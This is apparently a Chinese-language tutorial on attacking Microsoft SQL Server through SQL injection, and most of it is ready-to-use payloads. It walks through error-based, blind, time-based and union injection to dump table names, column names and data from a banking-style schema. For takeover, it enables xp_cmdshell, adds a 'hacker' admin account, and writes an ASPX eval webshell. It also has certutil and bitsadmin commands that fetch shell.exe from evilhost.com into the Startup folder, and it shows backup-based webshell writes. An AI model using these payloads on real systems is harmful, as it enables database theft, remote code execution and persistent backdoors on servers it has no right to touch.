SELECT DB_NAME(); //当前数据库名,你可以用db_name(n)来遍历出所有的数据库
SELECT @@servername; //主机名

那么站库分离可以这么来判断

1
select * from user where id='1' and host_name()=@@servername;--'

站库分离的话实际上就是站点和数据库各司其职,二者互相独立,提高系统性能和可维护性

常见符号

1.注释符号

1
2
3
/**/
--
//

双斜杠是用来注释单行代码的,而/**/是用于注释多行代码的

2.空白字符

1
2
3
4
空格字符(%20)
制表符\t
换行符\n
回车符\r

3.运算符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
&位与逻辑运算符,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0
|位或逻辑运算符,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0
^位异或逻辑运算符,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0

ALL 如果一组的比较都为true,则比较结果为true
AND 如果两个布尔表达式都为true,则结果为true;如果其中一个表达式为false,则结果为false
ANY 如果一组的比较中任何一个为true,则结果为true
BETWEEN 如果操作数在某个范围之内,那么结果为true
EXISTS 如果子查询中包含了一些行,那么结果为true
IN 如果操作数等于表达式列表中的一个,那么结果为true
LIKE 如果操作数与某种模式相匹配,那么结果为true
NOT 对任何其他布尔运算符的结果值取反
OR 如果两个布尔表达式中的任何一个为true,那么结果为true
SOME 如果在一组比较中,有些比较为true,那么结果为true

基本注入流程

爆破当前数据库

1
2
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and DB_NAME()>1;
?id=1'and db_name()>0;--

为什么这个可以爆出来呢

这里利用mssql数据类型不一样的报错情况,在将 nvarchar 值 ‘FanmvCMS’ 转换成数据类型 int 时失败。从而把数据库爆出来

爆破表名

在将 nvarchar 值 ‘Fanmv_Admin’ 转换成数据类型 int 时失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(SELECT TOP 1 name from sysobjects WHERE xtype='u');
查询表的完整步骤
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
//旨在返回数据库中第一个用户表的名称。
//然后通过不断调整查询条件的name not in('table_name'),逐步排除已知表名去拿到我们想找的表名
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));--
('fsb_accounts', 'fsb_fund_transfers'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions', 'fsb_users'));-

爆破字段名

在将 nvarchar 值 ‘AdminID’ 转换成数据类型 int 时失败。

1
2
3
4
5
6
7
8
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'Fanmv_Admin'));
查询字段名的具体步骤
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));--
//尝试从sysobjects中获取fsb_accounts的ID,然后从syscolumns中获取该表的第一个字段名
//然后逐步排除字段找到我们想要的字段名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type' and name<>'balance_amount');--

爆破数据

在将 varchar 值 ‘81FAAEN52MA16VBYT4Y1JJ3552BTC1640E7CF84345C86BA6’ 转换成数据类型 int 时失败。

1
2
3
4
5
6
7
8
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(SELECT TOP 1 AdminPass from Fanmv_Admin);
查询数据的具体步骤
?id=1 and 1=(select top 1 branch from fsb_accounts);--
//尝试从表 fsb_accounts 中获取第一个 branch 列的值。通过 select top 1 子句,它只返回结果集中的第一个值。
?id=1 and 1=(select top 1 branch from fsb_accounts where branch<>'Texas-Remington Circle');--
//排除了 branch 列值为 'Texas-Remington Circle' 的记录,只返回除此之外的第一个 branch 列的值。
?id=1 and 1=(select top 1 branch from fsb_accounts where branch not in ('Texas-Remington Circle', 'Mahnattan - New york'));--
//除了排除 'Texas-Remington Circle' 外,还排除了 'Mahnattan - New york',然后返回除这两个值之外的第一个 branch 列的值。

当然,在mssql中除了借助 sysobjects 表和 syscolumns 表获取表名、列名外,MSSQL 数据库中也兼容 information_schema,里面存放了数据表表名和字段名。使用方法与 MySQL 相同。

1
2
3
4
/* 查询表名可以用 information_schema.tables */
?id=1 and 1=(select top 1 table_name from information_schema.tables);--
/* 查询列名可以用 information_schema.columns */
?id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='fsb_accounts');--

我们要判断当前的表名和列名,也可以用having 1=1group by

1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 having 1=1

选择列表中的列 ‘Fanmv_Admin.AdminID’ 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

爆出一列,将其用group by 拼接进去继续往后爆其他的

1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 GROUP BY AdminID having 1=1

选择列表中的列 ‘Fanmv_Admin.IsSystem’ 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 GROUP BY AdminID,IsSystem having 1=1

选择列表中的列 ‘Fanmv_Admin.AdminName’ 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

以此爆出所有字段

mssql报错注入

其实上面已经讲到了报错注入的一些基本用法,但是这里还是得把概念理清楚

MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。前提是服务器允许返回报错信息。报错注入利用的就是显式或隐式的类型转换来报错

先看隐式报错

隐式报错(Implicit Error)是指在代码执行过程中发生错误,但这些错误并不会显式地抛出异常或产生明确的错误消息。相反,这些错误可能会导致程序出现不可预料的行为或结果

1
select * from admin where id =1 and (select user)>0

user和0进行比较时因为数据类型不一致就会报错

再看显式报错,显式报错(Explicit Error)是指通过有意设置错误条件来产生错误消息的情况。

一般显式报错中我们会用castconvert函数去有意的设置错误条件达到报错注入的目的

在SQL中,CAST和CONVERT函数都用于将一个数据类型转换为另一个数据类型

1
2
select * from admin where id =1 (select CAST(USER as int))
select * from admin where id =1 (select convert(int,user))

盲注

其实和mysql的一样,通过设置判断条件并通过页面的回显信息去判断条件是否符合来达到注入的效果

布尔盲注

1
?id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

布尔盲注没有mssql那么多姿势,大同小异截取字符串比较,通过判断条件去拿到真实的内容

时间盲注

1
2
?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 waitfor delay '0:0:5'--
?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 waitfor delay '0:0:5'--

waitfor delay '0:0:5'是mssql的延时语法

但是mssql的盲注还是相对来说简单很多的

联合注入

mssql不用数字占位,因为可能会发生隐式转换,我们用null来占位

在mysql中,爆数据库我们通常是这样去做的

1
?id=1 union select 1,2,database()#

但是在mssql中我们就得稍微变一下

1
2
3
?id=1 union select null,null,DB_NAME();
也可以通过这样去联合报错
?id=1 union select null,null, (select CAST(db_name() as int))

在mssql中我们如果想查询多条数据可以使用%2B 也就是加号

1
?id=1 union select null,name%2Bpass,null from info

getshell和提权

1.getshell

getshell也就涉及到了权限的问题,能否getshell要看你当前的用户权限,如果是没有进行降权的sa用户,那么你几乎可以做任何事。它数据库权限是db_owner,当然你如果有其他具有do_owner权限的用户也可以。

所以我们getshell的两大前提:

  • 有相应的权限db_owner
  • 知道web目录的绝对路径

那我们先讲一下怎么拿到目录的绝对路径

1.1寻找绝对路径

寻找绝对目录一般有以下几个思路

  1. 报错寻找

  2. 字典猜

  3. 旁站信息收集

  4. 调用储存过程来搜索

  5. 读配置文件

前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。

在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree

我们一个个进行讲解

  • xp_dirtree

在SQL Server中,xp_dirtree是一个扩展存储过程,用于从指定路径中检索所有子文件和子目录的列表。它返回一个结果集,其中包含指定路径下所有子文件和子目录的详细信息。

以下是xp_dirtree的一般用法:

1
2
3
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

那么我们怎么利用呢,执行xp_dirtree返回我们传入的参数如果你想把文件名一起返回来,因为没有回显所以可以这样创建一个临时的表插入

1
2
3
4
5
?id=1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
//创建一个临时表tmp,该表包含三列:dir用于存储文件或目录的路径,num和num1用于存储相关的数字信息。
?id=1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
//INSERT INTO语句执行了master..xp_dirtree存储过程,并将其结果插入到之前创建的表tmp中。
//参数1和1分别是用于指示是否要处理子目录以及返回文件和目录的深度的参数。
  • xp_cmdshell

xp_cmdshell 存储过程可以生成并执行 Windows 命令,任何输出都作为文本返回。xp_cmdshell 功能非常强大,但是从 MSSQL 2005 版本之后默认处于禁用状态,可以执行 sp_configure 来启用或禁用 xp_cmdshell

xp_cmdshell 的利用条件如下:

  • • 当前用户具有 DBA 权限
  • • 依赖于 xplog70.dll
  • xp_cmdshell 存储过程存在并已启用
1
2
3
4
5
6
7
8
9
10
11
/* 判断当前是否为 DBA 权限,返回 1 则可以提权 */
SELECT IS_SRVROLEMEMBER('sysadmin');

/* 查看是否存在 xp_cmdshell,返回 1 则存在 */
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'

/* 开启 xp_cmdshell */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

/* 关闭 xp_cmdshell */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

一般的用法(执行命令)

1
2
3
4
5
6
7
8
9
EXEC master.dbo.xp_cmdshell 'whoami'
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir c:'
EXEC master..xp_cmdshell 'dir c:'
EXEC master..xp_cmdshell 'ipconfig/all'
EXEC master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'
EXEC master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber'
EXEC master..xp_cmdshell 'net user hacker Passw0rd /add',NO_OUTPUT
EXEC master..xp_cmdshell 'net localgroup Administrators hacker /add',NO_OUTPUT

接下来我们先来看cmd中怎么查找文件。

1
2
3
4
5
6
7
8
9
10
C:\Users\Aleen>for /r c:\ %i in (1*.aspx) do @echo %i
/*
这是一个for循环命令,用于在指定目录及其子目录中遍历文件。
%i:这是循环变量,用于存储每个匹配到的文件路径。
(1*.aspx):这是匹配文件名的模式。1*.aspx表示以1开头且以.aspx结尾的文件。
do关键字后面的命令@echo %i用于打印匹配到的文件路径。
%i表示当前循环的文件路径。
*/
e:\code\php\1.php
C:\Users\Y4er>

所以我只需要建立一个表 存在一个char字段就可以了

1
2
?id=1;CREATE TABLE cmdtmp (dir varchar(8000));//创建一个名为cmdtmp的表。
?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'

然后通过注入去查询该表就可以了。

到这里的话我们就了解完了绝对路径的获取方法,那我们接下来该怎么拿shell呢

1.2 xp_cmdshell拿shell

上面已经讲到,xp_cmdshell可以用于执行Windows的cmd命令,那我们可以通过cmd 的echo命令来写入shell

1
?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

也可以通过下载文件去把我们的payload传入

下载文件通常有下面几种姿势

  1. certutil
  2. vbs
  3. bitsadmin
  4. powershell
  5. ftp

这里介绍两种比较常用的

调用 certutil 下载文件

1
EXEC master.dbo.xp_cmdshell 'cd C:UsersPublic & certutil -urlcache -split -f http://evilhost.com/download/shell.exe';

调用 bitsadmin 下载文件并写入系统启动项

1
EXEC master.dbo.xp_cmdshell 'bitsadmin /transfer n http://evilhost.com/image/shell.exe C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUpshell.exe'
1.3 差异备份拿shell
1
2
3
4
5
6
7
1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);

3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

差异备份我们有多种情况可能不成功,一般就是目录权限的问题,第一次备份的目录是否可能没有权限,第二次备份到网站目录是否有权限,所以一般不要直接备份到c盘根目录

当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用前面提到的 定义局部变量来执行。

1.4 log备份拿shell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式

1
2
3
4
5
6
7
8
9
1. alter database 库名 set RECOVERY FULL 

2. create table cmd (a image)

3. backup log 库名 to disk = 'c:\xxx' with init

4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)

5. backup log 库名 to disk = 'c:\xxx\2.asp'

log备份的好处就是备份出来的webshell的文件大小非常的小

2.提权getsystem

我们继续来探究该怎么提权的问题

一般来说我们用xp_cmdshell去执行我们的payload后,通常会利用Cobalt Strike

Cobalt Strike是一款专业的渗透测试工具,一些Cobalt Strike的主要特点包括:

  1. 木马植入:Cobalt Strike提供了钓鱼攻击、恶意软件植入等功能,用于在目标系统上植入后门、远程访问工具等。
  2. 漏洞利用模块:工具包含了各种漏洞利用模块,可用于利用目标系统中的漏洞。
  3. C2功能:Cobalt Strike具有C2(命令和控制)功能,允许攻击者与受感染的系统进行通信、控制和数据交换。

提权没打过,确实写不动了,后面学了再回来补